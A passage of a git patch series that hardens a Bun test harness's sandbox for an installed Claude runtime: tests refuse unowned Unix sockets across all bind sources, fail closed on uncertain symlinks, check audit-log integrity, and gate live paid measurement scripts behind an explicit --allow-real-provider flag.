+}); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index ed40514612..7c5cddf42d 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -228,6 +228,9 @@ test("separate-UID plans trace the broker payload outside its hidden native audi import {dirname} from "node:path"; import {nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; import {WORKER_IDENTITY_SUPERVISOR} from ${JSON.stringify(join(ROOT, "packages/ui-sdk/src/server/worker-identity-program.ts"))}; + import {spyOn} from "bun:test"; + import * as launcher from ${JSON.stringify(join(ROOT, "packages/ui-sdk/src/server/worker-launcher.ts"))}; + spyOn(launcher,"verifiedWorkerIdentity").mockReturnValue({identity:"separate_uid",workerUid:(process.getuid()||21000)+1}); const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); @@ -523,10 +526,10 @@ test("registered same-origin Unix relays forward successfully", async () => { } finally { rmSync(scratch, { recursive: true, force: true }); } }); -test("direct fixture mounts reject unowned sockets in HOME, cwd and a late launch recheck", async () => { +test("all direct bind sources reject unowned sockets, including PATH, managed settings and late additions", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-mounted-socket-")); try { - for (const mode of ["home", "cwd", "late"]) { + for (const mode of ["home", "cwd", "late", "path", "managed"]) { const result = await probe(`${imports} import {mkdirSync,writeFileSync} from "node:fs"; const spawnSync=Bun.spawnSync,which=Bun.which; @@ -535,11 +538,13 @@ test("direct fixture mounts reject unowned sockets in HOME, cwd and a late launc process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; const home=${JSON.stringify(join(scratch, "home"))},cwd=${JSON.stringify(join(scratch, "brain"))}; mkdirSync(home,{recursive:true});mkdirSync(cwd,{recursive:true}); - const socket=(${JSON.stringify(mode)}==="cwd"?cwd:home)+"/foreign.sock"; + const bin=${JSON.stringify(join(scratch, "bin"))},managed=${JSON.stringify(join(scratch,"managed"))}; + mkdirSync(bin,{recursive:true});mkdirSync(managed,{recursive:true}); + const socket=(${JSON.stringify(mode)}==="cwd"?cwd:${JSON.stringify(mode)}==="path"?bin:${JSON.stringify(mode)}==="managed"?managed:home)+"/foreign.sock"; let foreign,plan; if(${JSON.stringify(mode)}!=="late")foreign=Bun.serve({unix:socket,fetch:()=>new Response("foreign")}); const leave=registerScriptedService("http://127.0.0.1:1"); - try{plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd,env:{HOME:home}}); + try{plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd,env:{HOME:home,PATH:bin},managedSettings:managed}); if(${JSON.stringify(mode)}==="late"){leave();foreign=Bun.serve({unix:socket,fetch:()=>new Response("late")});} plan.beforeLaunch(); }finally{foreign?.stop(true);if(plan){writeFileSync(plan.argv[plan.argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();}}`, scratch); @@ -549,6 +554,26 @@ test("direct fixture mounts reject unowned sockets in HOME, cwd and a late launc } finally { rmSync(scratch, { recursive: true, force: true }); } }); +test("audit receipts reject writable evidence and replaced trace inodes", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-audit-integrity-")); + try { + for (const damage of ["mode", "inode"]) { + const result = await probe(`${imports} + import {auditNativeLaunch} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + import {chmodSync,unlinkSync,writeFileSync,statSync} from "node:fs"; + const workerUid=(process.getuid()||21000)+1; + const audit=auditNativeLaunch(["/usr/bin/true"],["/synthetic/native"],()=>{},workerUid); + const log=audit.argv[audit.argv.indexOf("-o")+1],dir=log.slice(0,log.lastIndexOf("/")); + if((statSync(dir).mode&7)||(statSync(log).mode&7))throw Error("audit evidence permits unrelated accounts"); + if(${JSON.stringify(damage)}==="mode")chmodSync(log,0o666);else{unlinkSync(log);writeFileSync(log,'1 execve("/synthetic/native", [], 0x1) = 0',{mode:0o600});} + audit.dispose();`, scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain('"reason":"native audit storage integrity failed"'); + expect(result.output).toContain('"nativeLaunched":false,"success":false'); + } + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + // Positive native tests are deliberately unavailable on developer hosts. The // local suite proves refusal above; CI executes this assertion rather than a // skipped test or an unsealed fallback. From 9328953162409e3c22454f06247b0e5f3e5ff906 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 00:40:15 +0000 Subject: [PATCH 035/187] fix: fail closed on uncertain mounted symlink metadata --- scripts/test-native-guard.ts | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index d5d9ecf2e0..fc56f0fa9e 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -527,9 +527,9 @@ function assertNativeMountSockets(mounts: readonly string[], origin: string): vo const visited = new Set(); const visit = (path: string): boolean => { let real: string; - try { real = realpathSync(path); } catch { - // A dangling symlink cannot expose a socket in the mounted view. - return lstatSync(path).isSymbolicLink(); + try { real = realpathSync(path); } catch (error) { + // Only proven absence is harmless; permission and I/O uncertainty refuse. + return (error as NodeJS.ErrnoException).code === "ENOENT" && lstatSync(path).isSymbolicLink(); } // An absolute alias into unmounted storage is inaccessible in the child. if (!roots.some(root => within(root, real))) return true; From d8b63e8bb7530d92192cb2ab4aa7fe4c91ff61f4 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 00:41:40 +0000 Subject: [PATCH 036/187] test: size native plan watchdog for complete mount scans --- tests/native-offline-boundary.test.ts | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 7c5cddf42d..e1955f8343 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -1,5 +1,6 @@ /** Local tests never execute the installed native runtime, including mutations. */ import { expect, test } from "bun:test"; +import { watchdogMs } from "../scripts/test-deadlines"; import { chmodSync, copyFileSync, existsSync, mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { dirname, join } from "node:path"; import { tmpdir } from "node:os"; @@ -189,7 +190,7 @@ test("isolated plans preserve synthetic credential precedence and an unauthentic }leave();`, scratch); expect(result.code, result.output).toBe(0); } finally { rmSync(scratch, { recursive: true, force: true }); } -}); +}, watchdogMs(120_000)); test("fixture PATH tools are mounted selectively without exposing sibling credentials", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-tool-plan-")); From f01bfa8e597d0ed2507688cd27f46a9374272092 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 00:52:10 +0000 Subject: [PATCH 037/187] fix: include device bind sources in native mount admission --- scripts/test-native-guard.ts | 6 ++++-- tests/native-offline-boundary.test.ts | 21 +++++++++++++++++++++ 2 files changed, 25 insertions(+), 2 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index fc56f0fa9e..206cd4c56a 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -518,8 +518,10 @@ function admittedRelay(argv: string[], socket: string): string | undefined { /** Validate the same bind-source inventory used to construct the native view. */ function assertNativeMountSockets(mounts: readonly string[], origin: string): void { const roots: string[] = []; - for (let i = 0; i < mounts.length - 2; i++) { - if (["--bind", "--ro-bind"].includes(mounts[i]!)) { + for (let i = 0; i < mounts.length; i++) { + const flag = mounts[i]!; + if (flag.startsWith("--overlay") || flag.includes("bind-fd")) refuse("unsupported native mount source"); + if (["--bind", "--ro-bind", "--dev-bind", "--bind-try", "--ro-bind-try", "--dev-bind-try"].includes(flag)) { try { const source = realpathSync(mounts[i + 1]!); if (source === "/") refuse("native mount exposes the host root"); roots.push(source); } catch { refuse("native mount source is unavailable"); } i += 2; } diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index e1955f8343..a64bc0c735 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -555,6 +555,27 @@ test("all direct bind sources reject unowned sockets, including PATH, managed se } finally { rmSync(scratch, { recursive: true, force: true }); } }); +test("worker device-bind sources cannot expose an unregistered Unix socket", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-device-bind-")); + try { + const result = await probe(`${imports} + import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + import {writeFileSync} from "node:fs"; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + const socket=${JSON.stringify(join(scratch,"foreign.sock"))}; + const server=Bun.serve({unix:socket,fetch:()=>new Response("foreign")}); + registerScriptedService("http://127.0.0.1:1"); + try{const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap","--dev-bind",socket,"/tmp/foreign.sock","--",${JSON.stringify(runtime)}]})}); + const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv;writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose(); + }finally{server.stop(true);}`, scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain('"reason":"fixture storage contains an unowned Unix socket or directory alias"'); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + test("audit receipts reject writable evidence and replaced trace inodes", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-audit-integrity-")); try { From d09051a2898fd3dde2bece4eba643e83a122f4a8 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 01:56:59 +0000 Subject: [PATCH 038/187] fix: enforce native socket policy for child lifetime and admit live measurements --- docs/decisions/design-kit/follow-ups.md | 14 +- docs/decisions/design-kit/show-block-brief.md | 4 +- docs/decisions/design-kit/tool-loading.md | 10 +- docs/decisions/deterministic-sync.md | 2 +- docs/process/testing.md | 31 ++- scripts/capture-turn-surface.ts | 2 +- scripts/ci-runtime-setup.sh | 2 +- scripts/measure-claude-capability.ts | 2 +- scripts/measure-claude-delegation.ts | 2 +- scripts/measure-claude-enforcement.ts | 2 +- scripts/measure-claude-haiku.ts | 2 +- scripts/measure-claude-runtime.ts | 2 +- scripts/measure-claude-usage.ts | 2 +- scripts/measure-form-schemas.ts | 1 + scripts/measure-graph-boost.ts | 1 + scripts/measure-pi-schema.ts | 2 + scripts/measure-real-provider-dispatch.ts | 6 +- scripts/measure-show-block-server.ts | 10 +- scripts/measure-show-block.ts | 20 +- scripts/measure-suggestions-preload.ts | 1 + scripts/measure-sync-judge.ts | 5 +- scripts/measure-sync-run.ts | 1 + scripts/measure-turn-surface-keyless.ts | 1 + scripts/measure-turn-surface-live.ts | 2 +- scripts/measure-turn-surface-report.ts | 1 + scripts/measure-turn-surface-tokens.ts | 2 +- scripts/measurement-entry-preload.ts | 18 ++ scripts/measurement-entry.ts | 23 ++ scripts/native-proof/Dockerfile | 2 +- scripts/native-proof/native-connect.c | 240 ++++++++++++++++++ scripts/native-proof/seccomp.json | 1 + scripts/show-block-schema-forms.ts | 2 +- scripts/test-native-guard.ts | 48 +++- scripts/turn-surface-overlap.ts | 2 +- tests/hosted-proof.test.ts | 14 +- tests/measurement-entry.test.ts | 38 +++ tests/native-offline-boundary.test.ts | 73 ++++-- 37 files changed, 496 insertions(+), 95 deletions(-) create mode 100644 scripts/measurement-entry-preload.ts create mode 100644 scripts/measurement-entry.ts create mode 100644 scripts/native-proof/native-connect.c create mode 100644 tests/measurement-entry.test.ts diff --git a/docs/decisions/design-kit/follow-ups.md b/docs/decisions/design-kit/follow-ups.md index b34196a203..60b12105f8 100644 --- a/docs/decisions/design-kit/follow-ups.md +++ b/docs/decisions/design-kit/follow-ups.md @@ -162,19 +162,19 @@ Reproduction commands (live commands require authorized API use): ```sh # Keyless estimate and checks. -bun scripts/measure-show-block.ts --suggestions --schema-cost +bun scripts/measure-show-block.ts --allow-real-provider --suggestions --schema-cost bun run test tests/measure-suggestions.test.ts # SDK level: 6 prompts x 2 arms x 3 repetitions = 36 turns. -bun scripts/measure-show-block.ts --suggestions --reps 3 --out sdk.json --md sdk.md -bun scripts/measure-show-block.ts --suggestions --tokens +bun scripts/measure-show-block.ts --allow-real-provider --suggestions --reps 3 --out sdk.json --md sdk.md +bun scripts/measure-show-block.ts --allow-real-provider --suggestions --tokens # Server level: 36 turns per backend, each against a separate fixture copy. # Copies live outside any checkout and home directory and are indexed first. -bun scripts/measure-show-block-server.ts --suggestions --brain --backend claude --model claude-sonnet-5-5 --runs 3 --out claude.json -bun scripts/measure-show-block-server.ts --suggestions --brain --backend pi --vendor anthropic --model claude-sonnet-5-5 --runs 3 --out pi.json -bun scripts/measure-show-block-server.ts --report claude.json -bun scripts/measure-show-block-server.ts --report pi.json +bun scripts/measure-show-block-server.ts --allow-real-provider --suggestions --brain --backend claude --model claude-sonnet-5-5 --runs 3 --out claude.json +bun scripts/measure-show-block-server.ts --allow-real-provider --suggestions --brain --backend pi --vendor anthropic --model claude-sonnet-5-5 --runs 3 --out pi.json +bun scripts/measure-show-block-server.ts --allow-real-provider --report claude.json +bun scripts/measure-show-block-server.ts --allow-real-provider --report pi.json ``` > **2026-10-10 — Implementation context (the keyless check above).** That test diff --git a/docs/decisions/design-kit/show-block-brief.md b/docs/decisions/design-kit/show-block-brief.md index d556e89760..3231f2560c 100644 --- a/docs/decisions/design-kit/show-block-brief.md +++ b/docs/decisions/design-kit/show-block-brief.md @@ -333,13 +333,13 @@ other level — it drives the whole server over a real socket and is backend-agnostic, so it sees the classification pass, the wire frames and the client that this harness, sitting below all three, cannot. -**Reproducing it.** `bun scripts/measure-show-block.ts --reps 6 --concurrency 6 +**Reproducing it.** `bun scripts/measure-show-block.ts --allow-real-provider --reps 6 --concurrency 6 --out runs.json --md report.md`, with `ANTHROPIC_API_KEY` set. The always-loaded table is a different shape — eight prompts at three reps, not nine at six, with `recommend` the one this entry's nine that it omits: ```sh -bun scripts/measure-show-block.ts --always-load --reps 3 --only \ +bun scripts/measure-show-block.ts --allow-real-provider --always-load --reps 3 --only \ compare-short,compare-long,trend,contact,table,steps,quote,bars ``` diff --git a/docs/decisions/design-kit/tool-loading.md b/docs/decisions/design-kit/tool-loading.md index ec69a3268f..ccdefbebd4 100644 --- a/docs/decisions/design-kit/tool-loading.md +++ b/docs/decisions/design-kit/tool-loading.md @@ -44,7 +44,7 @@ arithmetic question and nobody had done the arithmetic. `count_tokens`. **The arithmetic, counted rather than estimated.** -`bun scripts/measure-show-block.ts --tokens` takes the schemas from the real +`bun scripts/measure-show-block.ts --allow-real-provider --tokens` takes the schemas from the real server — `createBrainUiMcpServer` with every handler supplied, listed over an in-memory MCP client, which is the serialisation the CLI forwards — and prices them with `count_tokens` on `claude-sonnet-5` in the two shapes the API @@ -387,9 +387,9 @@ earn their place. The question is #157. **Reproducing it.** ```sh -bun scripts/measure-show-block.ts --tokens -bun scripts/measure-show-block.ts --reps 3 --concurrency 6 --out deferred.json --md deferred.md -bun scripts/measure-show-block.ts --always-load --reps 3 --concurrency 6 --out loaded.json --md loaded.md +bun scripts/measure-show-block.ts --allow-real-provider --tokens +bun scripts/measure-show-block.ts --allow-real-provider --reps 3 --concurrency 6 --out deferred.json --md deferred.md +bun scripts/measure-show-block.ts --allow-real-provider --always-load --reps 3 --concurrency 6 --out loaded.json --md loaded.md ``` Both need `ANTHROPIC_API_KEY` and the network; CI runs none of it. Note that @@ -403,5 +403,5 @@ config carries no `alwaysLoad` so the in-process server never joins the startup wait set — is now the `d44-always-load-reaches-the-model` case of `scripts/measure-claude-runtime.ts`, keyless, against the runtime `MEASURED_RUNTIME` names. The latency and rate halves still need a live -model: `bun scripts/measure-show-block.ts --both-arms` runs both load modes in +model: `bun scripts/measure-show-block.ts --allow-real-provider --both-arms` runs both load modes in one invocation and records the Claude Code version of every turn. diff --git a/docs/decisions/deterministic-sync.md b/docs/decisions/deterministic-sync.md index 6b1f7b16a1..d0d117965d 100644 --- a/docs/decisions/deterministic-sync.md +++ b/docs/decisions/deterministic-sync.md @@ -158,7 +158,7 @@ of an adversarial review of the first cut, which found each of them missing. Jev (`jev-1.13.0`) on the two keyless eval sets in `packages/core/fixtures/sync-judge/`, three repeats each, scored at the -thresholds above with `bun scripts/measure-sync-judge.ts --set all --repeat 3 +thresholds above with `bun scripts/measure-sync-judge.ts --allow-real-provider --set all --repeat 3 --min-precision 0.9`: | Set | Items × repeats | Accuracy | Coverage at the line | Precision at the line | Order consistency | Repeat agreement | p50 / p95 | diff --git a/docs/process/testing.md b/docs/process/testing.md index 5fe3d7270d..75de088885 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -1170,16 +1170,27 @@ OAuth. Its measurement is labelled accordingly and does not prove ordinary TCP credential precedence. No production authentication or managed-policy behavior changes. -Standalone native measurement and experiment entries import the subprocess guard -before their SDK or backend dependencies. Direct and worker bind inventories reject unowned Unix sockets across every -source, including fixture PATH directories, settings and nested mounted aliases, -and recheck immediately before launch. Separate-UID trace storage remains -guard-owned with a named-user POSIX ACL granting only the verified worker UID -write access; receipt reads verify ownership, inode identity, modes and ACLs. -The opt-in paid real-provider dispatch measurement is outside the offline test -path: its documented `--allow-real-provider` admission is required before runtime -imports, and its live-provider and spending warnings remain in the script. The hostile-settings proof always registers; outside hosted CI it -fails with an explicit isolation-unavailable receipt rather than disappearing. +Measurement commands share synchronous entry admission before runtime imports. +Offline commands install the test guard; documented live commands require +`BRAIN_LIVE_EVAL=587` or `--allow-real-provider`, print a real-provider/cost +warning, and leave authorized provider access intact. Pure pricing and counting +libraries do not install process-wide guards. + +Native descendants inherit a Linux seccomp user-notification policy. It +emulates connections only to the pinned guard-owned relay inode; it never +continues an untrusted connect syscall. A socket created later in any live +fixture bind cannot become an allowed destination. Addressed messages, +alternate syscall ABIs, io_uring and attempts to replace the policy are denied. +The broker remains non-dumpable, its listener is absent from the native child, +and native processes cannot duplicate or inspect its control descriptors. +Hosted qualification must pass the real kernel-policy self-test before any +installed runtime launches; missing compiler or kernel support emits a failed +receipt. Local plan tests compile the helper but mock that hosted probe. + +Separate-UID trace storage stays guard-owned with an ACL granting only the +verified worker UID write access. Receipt reads validate ownership, inode, +mode and ACL integrity. The hostile-settings proof always registers and fails +explicitly when isolation is unavailable. `tests/native-offline-boundary.test.ts` proves local refusal with harmless synthetic executables. Hosted proof additionally exercises hostile managed diff --git a/scripts/capture-turn-surface.ts b/scripts/capture-turn-surface.ts index a768724e72..ad01d33dbc 100644 --- a/scripts/capture-turn-surface.ts +++ b/scripts/capture-turn-surface.ts @@ -1,4 +1,4 @@ -import "./test-network-child-preload.ts"; +import "./measurement-entry-preload.ts"; import { nativeScriptedService } from "./test-native-guard.ts"; /** #587: capture the installed CLI's request using a loopback scripted model. * This observes serialization, not model choice or model quality. No real diff --git a/scripts/ci-runtime-setup.sh b/scripts/ci-runtime-setup.sh index 1e25e53d81..0e568fde4b 100644 --- a/scripts/ci-runtime-setup.sh +++ b/scripts/ci-runtime-setup.sh @@ -8,7 +8,7 @@ if [ "${1:-}" != "--native" ]; then bun scripts/ci-disk.ts reclaim fi sudo apt-get update -qq -sudo apt-get install --yes bubblewrap iproute2 poppler-utils strace +sudo apt-get install --yes bubblewrap iproute2 poppler-utils strace gcc libc6-dev # Unit partitions retain their existing prerequisites; the runtime job alone # prepares the native image before entering its network-disabled proof. if [ "${1:-}" = "--native" ]; then diff --git a/scripts/measure-claude-capability.ts b/scripts/measure-claude-capability.ts index 3d828a1f8d..b03323f3a1 100644 --- a/scripts/measure-claude-capability.ts +++ b/scripts/measure-claude-capability.ts @@ -1,4 +1,4 @@ -import "./test-network-child-preload.ts"; +import "./measurement-entry-preload.ts"; import { nativeScriptedService } from "./test-native-guard.ts"; // #1213: keyless Sonnet 5.5 native metadata control. Run with loopback only. import assert from "node:assert/strict"; diff --git a/scripts/measure-claude-delegation.ts b/scripts/measure-claude-delegation.ts index 95e702ed35..116aa746c8 100644 --- a/scripts/measure-claude-delegation.ts +++ b/scripts/measure-claude-delegation.ts @@ -1,4 +1,4 @@ -import "./test-network-child-preload.ts"; +import "./measurement-entry-preload.ts"; import { nativeScriptedService, nativeScriptedQuery } from "./test-native-guard.ts"; // #1213: production enforcement and foreground rewrite inherited by a real subagent. // Run with only loopback enabled. All credentials and commands are controlled fixtures. diff --git a/scripts/measure-claude-enforcement.ts b/scripts/measure-claude-enforcement.ts index a9c7180b81..b189dc6b02 100644 --- a/scripts/measure-claude-enforcement.ts +++ b/scripts/measure-claude-enforcement.ts @@ -1,4 +1,4 @@ -import "./test-network-child-preload.ts"; +import "./measurement-entry-preload.ts"; import { nativeScriptedQuery } from "./test-native-guard.ts"; // #901: real production wiring, real CLI, scripted loopback inference. // Run in the same loopback-only network namespace as measure-claude-runtime. diff --git a/scripts/measure-claude-haiku.ts b/scripts/measure-claude-haiku.ts index ad911335a8..ffda420ae1 100644 --- a/scripts/measure-claude-haiku.ts +++ b/scripts/measure-claude-haiku.ts @@ -1,4 +1,4 @@ -import "./test-network-child-preload.ts"; +import "./measurement-entry-preload.ts"; import { nativeScriptedService, nativeScriptedQuery } from "./test-native-guard"; // #1238: actual bundled runtime, production model assembly, fixture inference. // Run inside a network namespace with only loopback. No real credentials. diff --git a/scripts/measure-claude-runtime.ts b/scripts/measure-claude-runtime.ts index effa29d8c9..900b24d6d1 100644 --- a/scripts/measure-claude-runtime.ts +++ b/scripts/measure-claude-runtime.ts @@ -1,4 +1,4 @@ -import "./test-network-child-preload.ts"; +import "./measurement-entry-preload.ts"; import { nativeScriptedService, nativeScriptedQuery } from "./test-native-guard.ts"; // Re-measures the Claude Code runtime behaviours the permission design rests // on, against whatever SDK and CLI this workspace installs (#209, diff --git a/scripts/measure-claude-usage.ts b/scripts/measure-claude-usage.ts index 6f0d48bb55..7df2723b79 100644 --- a/scripts/measure-claude-usage.ts +++ b/scripts/measure-claude-usage.ts @@ -1,4 +1,4 @@ -import "./test-network-child-preload.ts"; +import "./measurement-entry-preload.ts"; import { nativeScriptedService } from "./test-native-guard.ts"; // Keyless installed-runtime measurement for #2025. Only a loopback Messages // origin is contacted; isolated HOME/config and synthetic credentials prevent diff --git a/scripts/measure-form-schemas.ts b/scripts/measure-form-schemas.ts index 669f138e1c..d145cca030 100644 --- a/scripts/measure-form-schemas.ts +++ b/scripts/measure-form-schemas.ts @@ -1,3 +1,4 @@ +import "./measurement-entry-preload.ts"; /** Keyless estimates of the actual always-loaded bridge schemas; never executes a tool. */ import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { InMemoryTransport } from "@modelcontextprotocol/sdk/inMemory.js"; diff --git a/scripts/measure-graph-boost.ts b/scripts/measure-graph-boost.ts index c8c6c7dd2c..686347c266 100644 --- a/scripts/measure-graph-boost.ts +++ b/scripts/measure-graph-boost.ts @@ -1,3 +1,4 @@ +import "./measurement-entry-preload.ts"; /** * Measure a link-graph ranking signal on the keyless retrieval goldens (#419). * diff --git a/scripts/measure-pi-schema.ts b/scripts/measure-pi-schema.ts index c52136b94e..6a9e0361ec 100644 --- a/scripts/measure-pi-schema.ts +++ b/scripts/measure-pi-schema.ts @@ -1,3 +1,5 @@ +import "./measurement-entry-preload.ts"; +// Live entry requires --allow-real-provider; permits provider access and charges. /** #563: three provider-acceptance probes, never a call-rate experiment. */ import { join, resolve } from "node:path"; import { existsSync, mkdtempSync, readFileSync, rmSync } from "node:fs"; diff --git a/scripts/measure-real-provider-dispatch.ts b/scripts/measure-real-provider-dispatch.ts index 4aef5ea4b3..b63c06d194 100644 --- a/scripts/measure-real-provider-dispatch.ts +++ b/scripts/measure-real-provider-dispatch.ts @@ -1,8 +1,4 @@ -// Explicit paid-operation admission precedes all runtime dependency imports. -if (!process.argv.includes("--allow-real-provider")) { - console.error("Real-provider measurement refused: explicit --allow-real-provider opt-in required"); - process.exit(2); -} +import "./measurement-entry-preload.ts"; /** * Real-provider verification of the restricted inference relay and the gated * dispatcher (#1548). Opt-in, paid, never run by tests or CI. diff --git a/scripts/measure-show-block-server.ts b/scripts/measure-show-block-server.ts index dee05df619..5faa2aca69 100644 --- a/scripts/measure-show-block-server.ts +++ b/scripts/measure-show-block-server.ts @@ -1,4 +1,4 @@ -import "./test-network-child-preload.ts"; +import { measurementAuthorizationArgs } from "./measurement-entry-preload.ts"; // Measures how often a backend reaches for `show_block` (D41) and what the // classification pass (D42) finds in the markdown it typed instead — // through the running server, so any backend can be measured. @@ -17,10 +17,10 @@ import "./test-network-child-preload.ts"; // // Two modes: // -// bun scripts/measure-show-block-server.ts --brain --out runs.json \ +// bun scripts/measure-show-block-server.ts --allow-real-provider --brain --out runs.json \ // [--backend pi|claude] [--model claude-sonnet-5-5] [--prompts 0,1,2,3] [--runs 6] -// bun scripts/measure-show-block-server.ts --suggestions --brain --backend pi --runs 3 --out suggestions.json -// bun scripts/measure-show-block-server.ts --report runs.json [more.json …] +// bun scripts/measure-show-block-server.ts --allow-real-provider --suggestions --brain --backend pi --runs 3 --out suggestions.json +// bun scripts/measure-show-block-server.ts --allow-real-provider --report runs.json [more.json …] // // Point `--brain` at a copy of a brain OUTSIDE any checkout of this repo. // The agent's cwd is the brain, and a brain nested in the worktree lets the @@ -905,7 +905,7 @@ async function measureSuggestionArms(): Promise { const armOut = `${out}.${arm}.json`; const args = process.argv.slice(2); args[args.indexOf("--out") + 1] = armOut; - const child = Bun.spawn([process.execPath, "--preload", join(import.meta.dir, "measure-suggestions-preload.ts"), import.meta.path, ...args], { + const child = Bun.spawn([process.execPath, "--preload", join(import.meta.dir, "measure-suggestions-preload.ts"), import.meta.path, ...args, ...measurementAuthorizationArgs], { env: { ...process.env, BRAIN_MEASURE_SUGGESTIONS_ARM: arm }, stdout: "inherit", stderr: "inherit", }); if (await child.exited !== 0) throw new Error(`Suggestions arm ${arm} failed; partial records remain in ${armOut}.`); diff --git a/scripts/measure-show-block.ts b/scripts/measure-show-block.ts index 2ab674e517..610b749f62 100644 --- a/scripts/measure-show-block.ts +++ b/scripts/measure-show-block.ts @@ -1,4 +1,4 @@ -import "./test-network-child-preload.ts"; +import "./measurement-entry-preload.ts"; /** * Measure the `show_block` call rate on the Claude backend, with and without * the tool's per-turn brief. @@ -33,14 +33,14 @@ import "./test-network-child-preload.ts"; * duplicates; a claim about "the block rate" needs to say which one produced * it, and on which backend. * - * bun scripts/measure-show-block.ts --reps 3 --out runs.json --md report.md - * bun scripts/measure-show-block.ts --always-load # tools in the prompt - * bun scripts/measure-show-block.ts --tokens # the schema arithmetic - * bun scripts/measure-show-block.ts --both-arms # loaded AND deferred, one run - * bun scripts/measure-show-block.ts --suggestions --reps 3 --out suggestions.json --md suggestions.md - * bun scripts/measure-show-block.ts --suggestions --schema-cost # keyless estimates - * bun scripts/measure-show-block.ts --suggestions --tokens # counted API cost - * bun scripts/measure-show-block.ts --schema-forms # #336: the schema written three ways + * bun scripts/measure-show-block.ts --allow-real-provider --reps 3 --out runs.json --md report.md + * bun scripts/measure-show-block.ts --allow-real-provider --always-load # tools in the prompt + * bun scripts/measure-show-block.ts --allow-real-provider --tokens # the schema arithmetic + * bun scripts/measure-show-block.ts --allow-real-provider --both-arms # loaded AND deferred, one run + * bun scripts/measure-show-block.ts --allow-real-provider --suggestions --reps 3 --out suggestions.json --md suggestions.md + * bun scripts/measure-show-block.ts --allow-real-provider --suggestions --schema-cost # keyless estimates + * bun scripts/measure-show-block.ts --allow-real-provider --suggestions --tokens # counted API cost + * bun scripts/measure-show-block.ts --allow-real-provider --schema-forms # #336: the schema written three ways * * `--both-arms` re-checks D44's CLI half on whatever runtime is installed * (#209): every prompt runs with the bridge server loaded and deferred, the @@ -669,7 +669,7 @@ async function countTokens(credential: LiveCredential, body: Record bun scripts/measure-sync-judge.ts [--set files|pairs|all]" + "Set it for this run: TYPESAFE_API_KEY= bun scripts/measure-sync-judge.ts --allow-real-provider [--set files|pairs|all]" ); return 2; } diff --git a/scripts/measure-sync-run.ts b/scripts/measure-sync-run.ts index 06e4ccea6a..b7a9549edb 100644 --- a/scripts/measure-sync-run.ts +++ b/scripts/measure-sync-run.ts @@ -1,3 +1,4 @@ +import "./measurement-entry-preload.ts"; /** * Time `brain sync run` over the E3 states it meets most: (a) nothing to do, * (b) local edits only, (c) two clones editing different files, (d) two diff --git a/scripts/measure-turn-surface-keyless.ts b/scripts/measure-turn-surface-keyless.ts index ca20e23d08..37ebf76854 100644 --- a/scripts/measure-turn-surface-keyless.ts +++ b/scripts/measure-turn-surface-keyless.ts @@ -1,3 +1,4 @@ +import "./measurement-entry-preload.ts"; /** #587 offline mechanics. This entry has no live transport or query import. */ import { readFileSync } from "node:fs"; import { join } from "node:path"; diff --git a/scripts/measure-turn-surface-live.ts b/scripts/measure-turn-surface-live.ts index b41c7e865f..38a49b3455 100644 --- a/scripts/measure-turn-surface-live.ts +++ 